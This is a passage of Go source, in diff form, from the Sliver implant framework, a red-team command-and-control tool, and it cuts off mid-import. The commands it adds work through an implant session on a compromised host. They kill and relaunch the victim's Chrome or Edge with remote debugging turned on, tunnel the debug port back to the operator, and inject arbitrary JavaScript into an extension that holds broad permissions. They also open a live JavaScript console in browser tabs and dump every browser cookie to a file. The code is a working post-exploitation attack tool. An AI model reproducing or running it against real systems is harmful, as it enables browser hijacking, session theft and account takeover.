session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadPath := ctx.Flags.String("payload")
|
||||
var payload []byte
|
||||
var err error
|
||||
if payloadPath != "" {
|
||||
payload, err = ioutil.ReadFile(payloadPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not read payload file: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
curse := avadaKedavraChrome(session, ctx, con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
if payloadPath == "" {
|
||||
con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Searching for Chrome extension with all permissions ... ")
|
||||
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// There is one alternative set of permissions that we can use if we don't find an extension
|
||||
// with all the proper permissions.
|
||||
if chromeExt == nil {
|
||||
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if chromeExt != nil {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
// defer cancel()
|
||||
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
} else {
|
||||
con.Printf("failure!\n")
|
||||
con.PrintInfof("No viable Chrome extensions were found ☹️\n")
|
||||
}
|
||||
}
|
||||
|
||||
func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
chromeProcess, err := getChromeProcess(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if chromeProcess != nil {
|
||||
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: chromeProcess.GetPid(),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedChromeProcess(false, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return curse
|
||||
}
|
||||
|
||||
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
|
||||
name := "Chrome"
|
||||
if isEdge {
|
||||
name = "Edge"
|
||||
}
|
||||
|
||||
con.PrintInfof("Finding %s executable path ... ", name)
|
||||
chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Finding %s user data directory ... ", name)
|
||||
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
|
||||
con.PrintInfof("Starting %s process ... ", name)
|
||||
debugPort := getRemoteDebuggerPort(ctx)
|
||||
args := []string{
|
||||
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
|
||||
}
|
||||
if chromeUserDataDir != "" {
|
||||
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
|
||||
}
|
||||
if ctx.Flags.Bool("restore") {
|
||||
args = append(args, "--restore-last-session")
|
||||
}
|
||||
if ctx.Flags.Bool("keep-alive") {
|
||||
args = append(args, "--keep-alive-for-test")
|
||||
}
|
||||
if ctx.Flags.Bool("headless") {
|
||||
args = append(args, "--headless")
|
||||
}
|
||||
additionalArgs := ctx.Args.StringList("args")
|
||||
if len(additionalArgs) > 0 {
|
||||
args = append(args, additionalArgs...)
|
||||
}
|
||||
|
||||
// Execute the Chrome process with the extra flags
|
||||
// TODO: PPID spoofing, etc.
|
||||
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: chromeExePath,
|
||||
Args: args,
|
||||
Output: false,
|
||||
})
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
|
||||
|
||||
con.PrintInfof("Waiting for %s process to initialize ... ", name)
|
||||
time.Sleep(2 * time.Second)
|
||||
|
||||
bindPort := insecureRand.Intn(10000) + 40000
|
||||
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
|
||||
|
||||
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
|
||||
|
||||
tcpProxy := &tcpproxy.Proxy{}
|
||||
channelProxy := &core.ChannelProxy{
|
||||
Rpc: con.Rpc,
|
||||
Session: session,
|
||||
RemoteAddr: remoteAddr,
|
||||
BindAddr: bindAddr,
|
||||
KeepAlivePeriod: 60 * time.Second,
|
||||
DialTimeout: 30 * time.Second,
|
||||
}
|
||||
tcpProxy.AddRoute(bindAddr, channelProxy)
|
||||
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
|
||||
|
||||
curse := &core.CursedProcess{
|
||||
SessionID: session.ID,
|
||||
PID: chromeExec.GetPid(),
|
||||
PortFwd: portFwd,
|
||||
BindTCPPort: bindPort,
|
||||
Platform: session.GetOS(),
|
||||
ExePath: chromeExePath,
|
||||
ChromeUserDataDir: chromeUserDataDir,
|
||||
}
|
||||
core.CursedProcesses.Store(bindPort, curse)
|
||||
go func() {
|
||||
err := tcpProxy.Run()
|
||||
if err != nil {
|
||||
log.Printf("Proxy error %s", err)
|
||||
}
|
||||
core.CursedProcesses.Delete(bindPort)
|
||||
}()
|
||||
|
||||
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
|
||||
|
||||
return curse, nil
|
||||
}
|
||||
|
||||
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
|
||||
userDataFlag := ctx.Flags.String("user-data")
|
||||
if userDataFlag != "" {
|
||||
return userDataFlag, nil
|
||||
}
|
||||
|
||||
switch session.GetOS() {
|
||||
|
||||
case "windows":
|
||||
username := session.GetUsername()
|
||||
if strings.Contains(username, "\\") {
|
||||
username = strings.Split(username, "\\")[1]
|
||||
}
|
||||
for _, driveLetter := range windowsDriveLetters {
|
||||
userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
|
||||
if isEdge {
|
||||
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: userDataDir,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return userDataDir, nil
|
||||
}
|
||||
}
|
||||
return "", ErrUserDataDirNotFound
|
||||
|
||||
case "darwin":
|
||||
userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
|
||||
if isEdge {
|
||||
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: userDataDir,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return userDataDir, nil
|
||||
}
|
||||
return "", ErrUserDataDirNotFound
|
||||
|
||||
default:
|
||||
return "", ErrUnsupportedOS
|
||||
}
|
||||
}
|
||||
|
||||
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
|
||||
exeFlag := ctx.Flags.String("exe")
|
||||
if exeFlag != "" {
|
||||
return exeFlag, nil
|
||||
}
|
||||
|
||||
switch session.GetOS() {
|
||||
|
||||
case "windows":
|
||||
chromeWindowsPaths := []string{
|
||||
"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
|
||||
}
|
||||
if isEdge {
|
||||
chromeWindowsPaths = []string{
|
||||
"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
}
|
||||
}
|
||||
username := session.GetUsername()
|
||||
if strings.Contains(username, "\\") {
|
||||
username = strings.Split(username, "\\")[1]
|
||||
}
|
||||
for _, driveLetter := range windowsDriveLetters {
|
||||
for _, chromePath := range chromeWindowsPaths {
|
||||
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
|
||||
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: chromeExecutablePath,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return chromeExecutablePath, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return "", ErrChromeExecutableNotFound
|
||||
|
||||
case "darwin":
|
||||
// AFAIK Chrome only installs to this path on macOS
|
||||
defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
|
||||
if isEdge {
|
||||
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: defaultChromePath,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return defaultChromePath, nil
|
||||
}
|
||||
return "", ErrChromeExecutableNotFound
|
||||
|
||||
case "linux":
|
||||
chromeLinuxPaths := []string{
|
||||
"/usr/bin/google-chrome",
|
||||
"/usr/bin/chromium-browser",
|
||||
"/usr/local/bin/google-chrome",
|
||||
"/usr/local/bin/chromium-browser",
|
||||
}
|
||||
if isEdge {
|
||||
chromeLinuxPaths = []string{
|
||||
"/usr/bin/microsoft-edge",
|
||||
"/usr/local/bin/microsoft-edge",
|
||||
}
|
||||
}
|
||||
for _, chromePath := range chromeLinuxPaths {
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: chromePath,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return chromePath, nil
|
||||
}
|
||||
}
|
||||
return "", ErrChromeExecutableNotFound
|
||||
|
||||
default:
|
||||
return "", ErrUnsupportedOS
|
||||
}
|
||||
}
|
||||
|
||||
func isChromeProcess(executable string) bool {
|
||||
var chromeProcessNames = []string{
|
||||
"chrome", // Linux
|
||||
"google-chrome", // Linux
|
||||
"chromium-browser", // Linux
|
||||
"chrome.exe", // Windows
|
||||
"Google Chrome", // Darwin
|
||||
}
|
||||
for _, suffix := range chromeProcessNames {
|
||||
if strings.HasSuffix(executable, suffix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isChromeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -0,0 +1,183 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/desertbit/readline"
|
||||
)
|
||||
|
||||
func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Querying debug targets ... ")
|
||||
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to query debug targets: %s\n", err)
|
||||
return
|
||||
}
|
||||
target := selectDebugTarget(targets, con)
|
||||
if target == nil {
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
|
||||
startCursedConsole(curse, true, target, con)
|
||||
}
|
||||
|
||||
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
|
||||
if len(targets) < 1 {
|
||||
con.PrintErrorf("No debug targets\n")
|
||||
return nil
|
||||
}
|
||||
|
||||
id2target := map[string]overlord.ChromeDebugTarget{}
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
for _, target := range targets {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
|
||||
id2target[target.ID] = target
|
||||
}
|
||||
table.Flush()
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a debug target:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if selected == "" {
|
||||
return nil
|
||||
}
|
||||
selectedID := strings.Split(selected, " ")[0]
|
||||
selectedTarget := id2target[selectedID]
|
||||
return &selectedTarget
|
||||
}
|
||||
|
||||
var (
|
||||
helperHooks = []string{
|
||||
"console.log = (...a) => {return a;}", // console.log
|
||||
}
|
||||
)
|
||||
|
||||
func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
|
||||
tmpFile, _ := ioutil.TempFile("", "cursed")
|
||||
reader, err := readline.NewEx(&readline.Config{
|
||||
Prompt: "\033[31mcursed »\033[0m ",
|
||||
HistoryFile: tmpFile.Name(),
|
||||
// AutoComplete: nil,
|
||||
InterruptPrompt: "^C",
|
||||
EOFPrompt: "exit",
|
||||
HistorySearchFold: true,
|
||||
// FuncFilterInputRune: filterInput,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to create read line: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if helpers {
|
||||
// Execute helper hooks
|
||||
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
for _, hook := range helperHooks {
|
||||
_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
|
||||
for {
|
||||
line, err := reader.Readline()
|
||||
if err == readline.ErrInterrupt {
|
||||
if len(line) == 0 {
|
||||
break
|
||||
} else {
|
||||
continue
|
||||
}
|
||||
} else if err == io.EOF {
|
||||
break
|
||||
}
|
||||
switch strings.TrimSpace(line) {
|
||||
|
||||
case ":help":
|
||||
con.Println()
|
||||
con.Println("Available commands:")
|
||||
con.Println(" :file - Execute local .js file")
|
||||
con.Println(" :help - Show this help")
|
||||
con.Println(" :exit - Exit the console")
|
||||
con.Println()
|
||||
|
||||
case ":file":
|
||||
jsCode, err := ioutil.ReadFile(line)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
continue
|
||||
}
|
||||
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
continue
|
||||
}
|
||||
con.Println()
|
||||
if 0 < len(result) {
|
||||
con.Printf("%s\n", result)
|
||||
con.Println()
|
||||
}
|
||||
|
||||
case ":exit":
|
||||
fallthrough
|
||||
case "exit":
|
||||
return
|
||||
|
||||
default:
|
||||
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
con.Println()
|
||||
if 0 < len(result) {
|
||||
con.Printf("%s\n", result)
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
|
||||
cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to dump cookies: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
|
||||
if len(cookies) == 0 {
|
||||
return
|
||||
}
|
||||
saveFile := ctx.Flags.String("save")
|
||||
if saveFile == "" {
|
||||
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
|
||||
}
|
||||
jsonCookies := []string{}
|
||||
for _, cookie := range cookies {
|
||||
jsonCookie, err := cookie.MarshalJSON()
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
|
||||
continue
|
||||
}
|
||||
jsonCookies = append(jsonCookies, string(jsonCookie))
|
||||
}
|
||||
err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save cookies: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Saved to %s", saveFile)
|
||||
con.Println()
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadPath := ctx.Flags.String("payload")
|
||||
var payload []byte
|
||||
var err error
|
||||
if payloadPath != "" {
|
||||
payload, err = ioutil.ReadFile(payloadPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not read payload file: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
curse := avadaKedavraEdge(session, ctx, con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
if payloadPath == "" {
|
||||
con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Searching for Edge extension with all permissions ... ")
|
||||
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// There is one alternative set of permissions that we can use if we don't find an extension
|
||||
// with all the proper permissions.
|
||||
if chromeExt == nil {
|
||||
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if chromeExt != nil {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
// defer cancel()
|
||||
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
} else {
|
||||
con.Printf("failure!\n")
|
||||
con.PrintInfof("No viable Edge extensions were found ☹️\n")
|
||||
}
|
||||
}
|
||||
|
||||
func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
edgeProcess, err := getEdgeProcess(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if edgeProcess != nil {
|
||||
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: edgeProcess.GetPid(),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedChromeProcess(true, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return curse
|
||||
}
|
||||
|
||||
func isEdgeProcess(executable string) bool {
|
||||
var edgeProcessNames = []string{
|
||||
"msedge", // Linux
|
||||
"microsoft-edge", // Linux
|
||||
"msedge.exe", // Windows
|
||||
"Microsoft Edge", // Darwin
|
||||
}
|
||||
for _, suffix := range edgeProcessNames {
|
||||
if strings.HasSuffix(executable, suffix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isEdgeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -0,0 +1,233 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
insecureRand "math/rand"
|
||||
"path"
|
||||
"time"
